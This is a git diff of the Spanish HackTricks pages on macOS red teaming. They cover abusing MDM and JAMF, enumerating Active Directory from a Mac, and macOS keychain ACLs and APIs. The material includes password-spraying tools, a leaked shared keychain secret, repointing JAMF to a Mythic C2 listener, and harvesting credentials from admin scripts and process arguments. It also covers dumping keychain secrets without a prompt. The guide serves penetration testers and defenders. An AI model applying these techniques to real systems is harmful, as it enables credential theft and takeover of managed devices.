Sin embargo, para instalar una aplicación en un dispositivo inscrito, aún necesitas que esté firmada por una cuenta de desarrollador... sin embargo, al inscribirse en un MDM, el **dispositivo agrega el certificado SSL del MDM como una CA de confianza**, por lo que ahora puedes firmar cualquier cosa.
|
||||
Sin embargo, para instalar una aplicación en un dispositivo inscrito, aún necesitas que esté firmada por una cuenta de desarrollador... sin embargo, al inscribirse en el MDM, el **dispositivo agrega el certificado SSL del MDM como una CA de confianza**, por lo que ahora puedes firmar cualquier cosa.
|
||||
|
||||
Para inscribir el dispositivo en un MDM, necesitas instalar un archivo **`mobileconfig`** como root, que se puede entregar a través de un archivo **pkg** (puedes comprimirlo en zip y cuando se descargue desde Safari se descomprimirá).
|
||||
Para inscribir el dispositivo en un MDM necesitas instalar un archivo **`mobileconfig`** como root, que podría ser entregado a través de un archivo **pkg** (podrías comprimirlo en zip y cuando se descargue desde safari se descomprimirá).
|
||||
|
||||
El agente **Orthrus de Mythic** utiliza esta técnica.
|
||||
**El agente Mythic Orthrus** utiliza esta técnica.
|
||||
|
||||
### Abusando de JAMF PRO
|
||||
|
||||
JAMF puede ejecutar **scripts personalizados** (scripts desarrollados por el administrador del sistema), **cargas útiles nativas** (creación de cuentas locales, establecimiento de contraseña EFI, monitoreo de archivos/procesos...) y **MDM** (configuraciones de dispositivos, certificados de dispositivos...).
|
||||
JAMF puede ejecutar **scripts personalizados** (scripts desarrollados por el sysadmin), **cargas útiles nativas** (creación de cuentas locales, establecimiento de contraseña EFI, monitoreo de archivos/procesos...) y **MDM** (configuraciones de dispositivos, certificados de dispositivos...).
|
||||
|
||||
#### Autoinscripción de JAMF
|
||||
#### Autoinscripción en JAMF
|
||||
|
||||
Ve a una página como `https://<nombre-de-la-empresa>.jamfcloud.com/enroll/` para ver si tienen **la autoinscripción habilitada**. Si la tienen, es posible que **solicite credenciales para acceder**.
|
||||
Ve a una página como `https://<nombre-de-la-empresa>.jamfcloud.com/enroll/` para ver si tienen **autoinscripción habilitada**. Si la tienen, podría **pedir credenciales para acceder**.
|
||||
|
||||
Puedes usar el script [**JamfSniper.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfSniper.py) para realizar un ataque de spraying de contraseñas.
|
||||
Podrías usar el script [**JamfSniper.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfSniper.py) para realizar un ataque de rociado de contraseñas.
|
||||
|
||||
Además, después de encontrar las credenciales adecuadas, podrías ser capaz de realizar un ataque de fuerza bruta a otros nombres de usuario con el siguiente formulario:
|
||||
Además, después de encontrar las credenciales adecuadas, podrías ser capaz de forzar bruscamente otros nombres de usuario con el siguiente formulario:
|
||||
|
||||
![](<../../.gitbook/assets/image (7) (1).png>)
|
||||
![](<../../.gitbook/assets/image (7) (1) (1).png>)
|
||||
|
||||
#### Autenticación de dispositivos de JAMF
|
||||
#### Autenticación de dispositivo JAMF
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
El binario **`jamf`** contenía el secreto para abrir el llavero que en el momento del descubrimiento era **compartido** entre todos y era: **`jk23ucnq91jfu9aj`**.\
|
||||
Además, jamf **persiste** como un **LaunchDaemon** en **`/Library/LaunchAgents/com.jamf.management.agent.plist`**
|
||||
|
||||
#### Toma de control de dispositivos de JAMF
|
||||
#### Toma de control de dispositivo JAMF
|
||||
|
||||
La URL del **JSS** (Jamf Software Server) que **`jamf`** utilizará se encuentra en **`/Library/Preferences/com.jamfsoftware.jamf.plist`**. \
|
||||
La **URL de JSS** (Jamf Software Server) que **`jamf`** usará se encuentra en **`/Library/Preferences/com.jamfsoftware.jamf.plist`**. \
|
||||
Este archivo básicamente contiene la URL:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
|
@ -78,7 +80,7 @@ plutil -convert xml1 -o - /Library/Preferences/com.jamfsoftware.jamf.plist
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Entonces, un atacante podría colocar un paquete malicioso (`pkg`) que **sobrescribe este archivo** cuando se instala, estableciendo la **URL a un escucha de Mythic C2 desde un agente de Typhon** para poder abusar de JAMF como C2.
|
||||
Por lo tanto, un atacante podría introducir un paquete malicioso (`pkg`) que **sobrescribe este archivo** al instalarse, configurando la **URL para un escucha de Mythic C2 de un agente Typhon** para ahora poder abusar de JAMF como C2.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -87,30 +89,28 @@ sudo jamf policy -id 0
|
|||
|
||||
# TODO: There is an ID, maybe it's possible to have the real jamf connection and another one to the C2
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
#### Suplantación de JAMF
|
||||
|
||||
Para **suplantar la comunicación** entre un dispositivo y JMF necesitas:
|
||||
|
||||
* El **UUID** del dispositivo: `ioreg -d2 -c IOPlatformExpertDevice | awk -F" '/IOPlatformUUID/{print $(NF-1)}'`
|
||||
* El **llavero JAMF** de: `/Library/Application\ Support/Jamf/JAMF.keychain` que contiene el certificado del dispositivo
|
||||
* El **llavero de JAMF** de: `/Library/Application\ Support/Jamf/JAMF.keychain` que contiene el certificado del dispositivo
|
||||
|
||||
Con esta información, **crea una máquina virtual** con el **UUID** de hardware **robado** y con **SIP desactivado**, copia el **llavero JAMF**, **engancha** el agente de Jamf y roba su información.
|
||||
Con esta información, **crea una VM** con el **UUID de Hardware robado** y con **SIP desactivado**, suelta el **llavero de JAMF,** **intercepta** al agente de Jamf y roba su información.
|
||||
|
||||
#### Robo de secretos
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (11).png" alt=""><figcaption><p>a</p></figcaption></figure>
|
||||
|
||||
También puedes monitorear la ubicación `/Library/Application Support/Jamf/tmp/` para los **scripts personalizados** que los administradores puedan querer ejecutar a través de Jamf, ya que se **colocan aquí, se ejecutan y se eliminan**. Estos scripts **pueden contener credenciales**.
|
||||
También podrías monitorear la ubicación `/Library/Application Support/Jamf/tmp/` para los **scripts personalizados** que los administradores podrían querer ejecutar a través de Jamf, ya que se **colocan aquí, se ejecutan y se eliminan**. Estos scripts **podrían contener credenciales**.
|
||||
|
||||
Sin embargo, las **credenciales** pueden pasarse a estos scripts como **parámetros**, por lo que tendrías que monitorear `ps aux | grep -i jamf` (incluso sin ser root).
|
||||
Sin embargo, las **credenciales** podrían pasarse a estos scripts como **parámetros**, por lo que necesitarías monitorear `ps aux | grep -i jamf` (sin siquiera ser root).
|
||||
|
||||
El script [**JamfExplorer.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfExplorer.py) puede escuchar la adición de nuevos archivos y nuevos argumentos de proceso.
|
||||
El script [**JamfExplorer.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfExplorer.py) puede escuchar la adición de nuevos archivos y nuevos argumentos de procesos.
|
||||
|
||||
### Acceso remoto a macOS
|
||||
### Acceso Remoto en macOS
|
||||
|
||||
Y también sobre los **protocolos de red** **"especiales"** de **MacOS**:
|
||||
Y también sobre los **protocolos de red** "especiales" de **MacOS**:
|
||||
|
||||
{% content-ref url="../macos-security-and-privilege-escalation/macos-protocols.md" %}
|
||||
[macos-protocols.md](../macos-security-and-privilege-escalation/macos-protocols.md)
|
||||
|
@ -118,7 +118,7 @@ Y también sobre los **protocolos de red** **"especiales"** de **MacOS**:
|
|||
|
||||
## Active Directory
|
||||
|
||||
En algunas ocasiones te encontrarás con que la **computadora MacOS está conectada a un AD**. En este escenario, debes intentar **enumerar** el directorio activo como estás acostumbrado. Encuentra **ayuda** en las siguientes páginas:
|
||||
En algunas ocasiones encontrarás que el **ordenador MacOS está conectado a un AD**. En este escenario, deberías intentar **enumerar** el directorio activo como estás acostumbrado. Encuentra **ayuda** en las siguientes páginas:
|
||||
|
||||
{% content-ref url="../../network-services-pentesting/pentesting-ldap.md" %}
|
||||
[pentesting-ldap.md](../../network-services-pentesting/pentesting-ldap.md)
|
||||
|
@ -136,13 +136,13 @@ Una **herramienta local de MacOS** que también puede ayudarte es `dscl`:
|
|||
```bash
|
||||
dscl "/Active Directory/[Domain]/All Domains" ls /
|
||||
```
|
||||
También hay algunas herramientas preparadas para MacOS para enumerar automáticamente el AD y jugar con Kerberos:
|
||||
También hay algunas herramientas preparadas para MacOS que permiten enumerar automáticamente el AD y jugar con kerberos:
|
||||
|
||||
* [**Machound**](https://github.com/XMCyber/MacHound): MacHound es una extensión de la herramienta de auditoría Bloodhound que permite recopilar e ingestar relaciones de Active Directory en hosts de MacOS.
|
||||
* [**Bifrost**](https://github.com/its-a-feature/bifrost): Bifrost es un proyecto Objective-C diseñado para interactuar con las API de Heimdal krb5 en macOS. El objetivo del proyecto es permitir pruebas de seguridad más efectivas en torno a Kerberos en dispositivos macOS utilizando API nativas sin requerir ningún otro marco o paquete en el objetivo.
|
||||
* [**Orchard**](https://github.com/its-a-feature/Orchard): Herramienta de JavaScript para Automatización (JXA) para enumeración de Active Directory.
|
||||
* [**Machound**](https://github.com/XMCyber/MacHound): MacHound es una extensión de la herramienta de auditoría Bloodhound que permite recopilar e ingerir relaciones de Active Directory en hosts MacOS.
|
||||
* [**Bifrost**](https://github.com/its-a-feature/bifrost): Bifrost es un proyecto en Objective-C diseñado para interactuar con las APIs de krb5 de Heimdal en macOS. El objetivo del proyecto es permitir una mejor prueba de seguridad en torno a Kerberos en dispositivos macOS utilizando APIs nativas sin requerir ningún otro marco o paquetes en el objetivo.
|
||||
* [**Orchard**](https://github.com/its-a-feature/Orchard): Herramienta de JavaScript para Automatización (JXA) para hacer enumeración de Active Directory.
|
||||
|
||||
### Información del dominio
|
||||
### Información de Dominio
|
||||
```bash
|
||||
echo show com.apple.opendirectoryd.ActiveDirectory | scutil
|
||||
```
|
||||
|
@ -150,17 +150,17 @@ echo show com.apple.opendirectoryd.ActiveDirectory | scutil
|
|||
|
||||
Los tres tipos de usuarios de MacOS son:
|
||||
|
||||
* **Usuarios locales** - Administrados por el servicio local de OpenDirectory, no están conectados de ninguna manera al Active Directory.
|
||||
* **Usuarios de red** - Usuarios volátiles del Active Directory que requieren una conexión al servidor DC para autenticarse.
|
||||
* **Usuarios móviles** - Usuarios del Active Directory con una copia de seguridad local de sus credenciales y archivos.
|
||||
* **Usuarios Locales** — Gestionados por el servicio OpenDirectory local, no están conectados de ninguna manera con el Active Directory.
|
||||
* **Usuarios de Red** — Usuarios volátiles de Active Directory que requieren una conexión con el servidor DC para autenticarse.
|
||||
* **Usuarios Móviles** — Usuarios de Active Directory con una copia de seguridad local para sus credenciales y archivos.
|
||||
|
||||
La información local sobre usuarios y grupos se almacena en la carpeta _/var/db/dslocal/nodes/Default_.\
|
||||
La información local sobre usuarios y grupos se almacena en la carpeta _/var/db/dslocal/nodes/Default._\
|
||||
Por ejemplo, la información sobre el usuario llamado _mark_ se almacena en _/var/db/dslocal/nodes/Default/users/mark.plist_ y la información sobre el grupo _admin_ está en _/var/db/dslocal/nodes/Default/groups/admin.plist_.
|
||||
|
||||
Además de utilizar los bordes HasSession y AdminTo, **MacHound agrega tres bordes nuevos** a la base de datos de Bloodhound:
|
||||
Además de usar los bordes HasSession y AdminTo, **MacHound añade tres nuevos bordes** a la base de datos de Bloodhound:
|
||||
|
||||
* **CanSSH** - entidad permitida para SSH al host
|
||||
* **CanVNC** - entidad permitida para VNC al host
|
||||
* **CanSSH** - entidad permitida para realizar SSH al host
|
||||
* **CanVNC** - entidad permitida para realizar VNC al host
|
||||
* **CanAE** - entidad permitida para ejecutar scripts de AppleEvent en el host
|
||||
```bash
|
||||
#User enumeration
|
||||
|
@ -185,25 +185,25 @@ dsconfigad -show
|
|||
```
|
||||
Más información en [https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/](https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/)
|
||||
|
||||
## Accediendo al Keychain
|
||||
## Accediendo al Llavero
|
||||
|
||||
El Keychain probablemente contiene información sensible que, si se accede sin generar una solicitud, podría ayudar a avanzar en un ejercicio de red teaming:
|
||||
El Llavero probablemente contiene información sensible que, si se accede sin generar un aviso, podría ayudar a avanzar en un ejercicio de red team:
|
||||
|
||||
{% content-ref url="macos-keychain.md" %}
|
||||
[macos-keychain.md](macos-keychain.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Servicios externos
|
||||
## Servicios Externos
|
||||
|
||||
El red teaming en MacOS es diferente al red teaming regular de Windows, ya que generalmente **MacOS está integrado con varias plataformas externas directamente**. Una configuración común de MacOS es acceder a la computadora utilizando **credenciales sincronizadas de OneLogin y acceder a varios servicios externos** (como github, aws...) a través de OneLogin:
|
||||
El Red Teaming en MacOS es diferente al Red Teaming regular en Windows ya que normalmente **MacOS está integrado directamente con varias plataformas externas**. Una configuración común de MacOS es acceder al ordenador utilizando **credenciales sincronizadas de OneLogin y acceder a varios servicios externos** (como github, aws...) a través de OneLogin:
|
||||
|
||||
![](<../../.gitbook/assets/image (563).png>)
|
||||
|
||||
## Técnicas de red teaming misceláneas
|
||||
## Técnicas Misceláneas de Red Team
|
||||
|
||||
### Safari
|
||||
|
||||
Cuando se descarga un archivo en Safari, si es un archivo "seguro", se **abrirá automáticamente**. Por ejemplo, si se **descarga un archivo zip**, se descomprimirá automáticamente:
|
||||
Cuando se descarga un archivo en Safari, si es un archivo "seguro", se **abrirá automáticamente**. Por ejemplo, si **descargas un zip**, se descomprimirá automáticamente:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (12) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -212,17 +212,19 @@ Cuando se descarga un archivo en Safari, si es un archivo "seguro", se **abrirá
|
|||
* [**https://www.youtube.com/watch?v=IiMladUbL6E**](https://www.youtube.com/watch?v=IiMladUbL6E)
|
||||
* [**https://medium.com/xm-cyber/introducing-machound-a-solution-to-macos-active-directory-based-attacks-2a425f0a22b6**](https://medium.com/xm-cyber/introducing-machound-a-solution-to-macos-active-directory-based-attacks-2a425f0a22b6)
|
||||
* [**https://gist.github.com/its-a-feature/1a34f597fb30985a2742bb16116e74e0**](https://gist.github.com/its-a-feature/1a34f597fb30985a2742bb16116e74e0)
|
||||
* [**Come to the Dark Side, We Have Apples: Turning macOS Management Evil**](https://www.youtube.com/watch?v=pOQOh07eMxY)
|
||||
* [**OBTS v3.0: "An Attackers Perspective on Jamf Configurations" - Luke Roberts / Calum Hall**](https://www.youtube.com/watch?v=ju1IYWUv4ZA)
|
||||
* [**Ven al Lado Oscuro, Tenemos Manzanas: Convirtiendo la Gestión de macOS en Malvada**](https://www.youtube.com/watch?v=pOQOh07eMxY)
|
||||
* [**OBTS v3.0: "Una Perspectiva del Atacante sobre las Configuraciones de Jamf" - Luke Roberts / Calum Hall**](https://www.youtube.com/watch?v=ju1IYWUv4ZA)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,67 +1,69 @@
|
|||
# macOS Keychain
|
||||
# Llavero de macOS
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Cadenas de claves principales
|
||||
## Llaveros Principales
|
||||
|
||||
* La **Cadena de claves de usuario** (`~/Library/Keychains/login.keycahin-db`), que se utiliza para almacenar **credenciales específicas del usuario** como contraseñas de aplicaciones, contraseñas de Internet, certificados generados por el usuario, contraseñas de red y claves públicas / privadas generadas por el usuario.
|
||||
* La **Cadena de claves del sistema** (`/Library/Keychains/System.keychain`), que almacena **credenciales de todo el sistema** como contraseñas de WiFi, certificados raíz del sistema, claves privadas del sistema y contraseñas de aplicaciones del sistema.
|
||||
* El **Llavero de Usuario** (`~/Library/Keychains/login.keycahin-db`), que se utiliza para almacenar **credenciales específicas del usuario** como contraseñas de aplicaciones, contraseñas de internet, certificados generados por el usuario, contraseñas de redes y claves públicas/privadas generadas por el usuario.
|
||||
* El **Llavero del Sistema** (`/Library/Keychains/System.keychain`), que almacena **credenciales de todo el sistema** como contraseñas de WiFi, certificados raíz del sistema, claves privadas del sistema y contraseñas de aplicaciones del sistema.
|
||||
|
||||
### Acceso a la cadena de claves de contraseñas
|
||||
### Acceso al Llavero de Contraseñas
|
||||
|
||||
Estos archivos, aunque no tienen protección inherente y se pueden **descargar**, están cifrados y requieren la **contraseña en texto plano del usuario para descifrarlos**. Se puede utilizar una herramienta como [**Chainbreaker**](https://github.com/n0fate/chainbreaker) para descifrarlos.
|
||||
Estos archivos, aunque no tienen protección inherente y pueden ser **descargados**, están encriptados y requieren la **contraseña en texto plano del usuario para ser descifrados**. Se podría utilizar una herramienta como [**Chainbreaker**](https://github.com/n0fate/chainbreaker) para el descifrado.
|
||||
|
||||
## Protecciones de entradas de la cadena de claves
|
||||
## Protecciones de las Entradas del Llavero
|
||||
|
||||
### ACLs
|
||||
|
||||
Cada entrada en la cadena de claves está gobernada por **Listas de control de acceso (ACL)** que dictan quién puede realizar varias acciones en la entrada de la cadena de claves, incluyendo:
|
||||
Cada entrada en el llavero está gobernada por **Listas de Control de Acceso (ACLs)** que dictan quién puede realizar diversas acciones en la entrada del llavero, incluyendo:
|
||||
|
||||
* **ACLAuhtorizationExportClear**: Permite al titular obtener el texto claro del secreto.
|
||||
* **ACLAuhtorizationExportWrapped**: Permite al titular obtener el texto claro cifrado con otra contraseña proporcionada.
|
||||
* **ACLAuhtorizationAny**: Permite al titular realizar cualquier acción.
|
||||
* **ACLAuhtorizationExportClear**: Permite al poseedor obtener el texto claro del secreto.
|
||||
* **ACLAuhtorizationExportWrapped**: Permite al poseedor obtener el texto claro encriptado con otra contraseña proporcionada.
|
||||
* **ACLAuhtorizationAny**: Permite al poseedor realizar cualquier acción.
|
||||
|
||||
Las ACL también están acompañadas por una **lista de aplicaciones de confianza** que pueden realizar estas acciones sin solicitar permiso. Esto podría ser:
|
||||
Las ACLs están acompañadas por una **lista de aplicaciones de confianza** que pueden realizar estas acciones sin solicitar autorización. Esto podría ser:
|
||||
|
||||
*  **N`il`** (no se requiere autorización, **todos son de confianza**)
|
||||
* Una lista **vacía** (nadie es de confianza)
|
||||
* Una lista **vacía** (**nadie** es de confianza)
|
||||
* **Lista** de **aplicaciones** específicas.
|
||||
|
||||
Además, la entrada puede contener la clave **`ACLAuthorizationPartitionID`**, que se utiliza para identificar el **teamid, apple** y **cdhash.**
|
||||
Además, la entrada puede contener la clave **`ACLAuthorizationPartitionID`,** que se utiliza para identificar el **teamid, apple,** y **cdhash.**
|
||||
|
||||
* Si se especifica el **teamid**, entonces para **acceder** al valor de la entrada **sin** una **solicitud**, la aplicación utilizada debe tener el **mismo teamid**.
|
||||
* Si se especifica el **apple**, entonces la aplicación debe estar **firmada** por **Apple**.
|
||||
* Si se especifica el **teamid**, entonces para **acceder al valor de la entrada** **sin** un **aviso** la aplicación utilizada debe tener el **mismo teamid**.
|
||||
* Si se especifica el **apple**, entonces la aplicación necesita estar **firmada** por **Apple**.
|
||||
* Si se indica el **cdhash**, entonces la **aplicación** debe tener el **cdhash** específico.
|
||||
|
||||
### Creación de una entrada de cadena de claves
|
||||
### Creando una Entrada en el Llavero
|
||||
|
||||
Cuando se crea una **nueva entrada** utilizando **`Keychain Access.app`**, se aplican las siguientes reglas:
|
||||
Cuando se crea una **nueva** **entrada** utilizando **`Keychain Access.app`**, se aplican las siguientes reglas:
|
||||
|
||||
* Todas las aplicaciones pueden cifrar.
|
||||
* Todas las aplicaciones pueden encriptar.
|
||||
* **Ninguna aplicación** puede exportar/descifrar (sin solicitar al usuario).
|
||||
* Todas las aplicaciones pueden ver la comprobación de integridad.
|
||||
* Ninguna aplicación puede cambiar las ACL.
|
||||
* Todas las aplicaciones pueden ver la verificación de integridad.
|
||||
* Ninguna aplicación puede cambiar las ACLs.
|
||||
* El **partitionID** se establece en **`apple`**.
|
||||
|
||||
Cuando una **aplicación crea una entrada en la cadena de claves**, las reglas son ligeramente diferentes:
|
||||
Cuando una **aplicación crea una entrada en el llavero**, las reglas son ligeramente diferentes:
|
||||
|
||||
* Todas las aplicaciones pueden cifrar.
|
||||
* Solo la **aplicación creadora** (o cualquier otra aplicación agregada explícitamente) puede exportar/descifrar (sin solicitar al usuario).
|
||||
* Todas las aplicaciones pueden ver la comprobación de integridad.
|
||||
* Ninguna aplicación puede cambiar las ACL.
|
||||
* Todas las aplicaciones pueden encriptar.
|
||||
* Solo la **aplicación creadora** (o cualquier otra aplicación explícitamente añadida) puede exportar/descifrar (sin solicitar al usuario).
|
||||
* Todas las aplicaciones pueden ver la verificación de integridad.
|
||||
* Ninguna aplicación puede cambiar las ACLs.
|
||||
* El **partitionID** se establece en **`teamid:[teamID aquí]`**.
|
||||
|
||||
## Acceso a la cadena de claves
|
||||
## Accediendo al Llavero
|
||||
|
||||
### `security`
|
||||
```bash
|
||||
|
@ -77,54 +79,54 @@ security set-generic-password-parition-list -s "test service" -a "test acount" -
|
|||
### APIs
|
||||
|
||||
{% hint style="success" %}
|
||||
La **enumeración y volcado** de secretos del **llavero que no generan una ventana emergente** se puede hacer con la herramienta [**LockSmith**](https://github.com/its-a-feature/LockSmith)
|
||||
La **enumeración de llaveros y el volcado** de secretos que **no generarán un aviso** se pueden realizar con la herramienta [**LockSmith**](https://github.com/its-a-feature/LockSmith)
|
||||
{% endhint %}
|
||||
|
||||
Lista y obtén **información** sobre cada entrada del llavero:
|
||||
Listar y obtener **información** sobre cada entrada del llavero:
|
||||
|
||||
* La API **`SecItemCopyMatching`** da información sobre cada entrada y hay algunos atributos que se pueden establecer al usarla:
|
||||
* **`kSecReturnData`**: Si es verdadero, intentará descifrar los datos (establecer en falso para evitar posibles ventanas emergentes)
|
||||
* **`kSecReturnRef`**: Obtener también la referencia al elemento del llavero (establecer en verdadero en caso de que luego vea que puede descifrar sin ventana emergente)
|
||||
* **`kSecReturnAttributes`**: Obtener metadatos sobre las entradas
|
||||
* **`kSecMatchLimit`**: Cuántos resultados devolver
|
||||
* **`kSecClass`**: Qué tipo de entrada del llavero
|
||||
* La API **`SecItemCopyMatching`** proporciona información sobre cada entrada y hay algunos atributos que puedes configurar al usarla:
|
||||
* **`kSecReturnData`**: Si es verdadero, intentará descifrar los datos (establecer en falso para evitar posibles ventanas emergentes)
|
||||
* **`kSecReturnRef`**: Obtener también referencia al elemento del llavero (establecer en verdadero en caso de que luego veas que puedes descifrar sin ventana emergente)
|
||||
* **`kSecReturnAttributes`**: Obtener metadatos sobre las entradas
|
||||
* **`kSecMatchLimit`**: Cuántos resultados devolver
|
||||
* **`kSecClass`**: Qué tipo de entrada del llavero
|
||||
|
||||
Obtén **ACLs** de cada entrada:
|
||||
Obtener **ACLs** de cada entrada:
|
||||
|
||||
* Con la API **`SecAccessCopyACLList`** puedes obtener el **ACL para el elemento del llavero**, y devolverá una lista de ACL (como `ACLAuhtorizationExportClear` y los otros mencionados anteriormente) donde cada lista tiene:
|
||||
* Descripción
|
||||
* **Lista de aplicaciones de confianza**. Esto podría ser:
|
||||
* Una aplicación: /Applications/Slack.app
|
||||
* Un binario: /usr/libexec/airportd
|
||||
* Un grupo: group://AirPort
|
||||
* Con la API **`SecAccessCopyACLList`** puedes obtener el **ACL para el elemento del llavero**, y devolverá una lista de ACLs (como `ACLAuhtorizationExportClear` y los otros mencionados anteriormente) donde cada lista tiene:
|
||||
* Descripción
|
||||
* **Lista de Aplicaciones Confiables**. Esto podría ser:
|
||||
* Una aplicación: /Applications/Slack.app
|
||||
* Un binario: /usr/libexec/airportd
|
||||
* Un grupo: group://AirPort
|
||||
|
||||
Exporta los datos:
|
||||
Exportar los datos:
|
||||
|
||||
* La API **`SecKeychainItemCopyContent`** obtiene el texto sin formato
|
||||
* La API **`SecItemExport`** exporta las claves y certificados, pero es posible que tenga que establecer contraseñas para exportar el contenido cifrado
|
||||
* La API **`SecKeychainItemCopyContent`** obtiene el texto plano
|
||||
* La API **`SecItemExport`** exporta las claves y certificados pero podría tener que establecer contraseñas para exportar el contenido cifrado
|
||||
|
||||
Y estos son los **requisitos** para poder **exportar un secreto sin una ventana emergente**:
|
||||
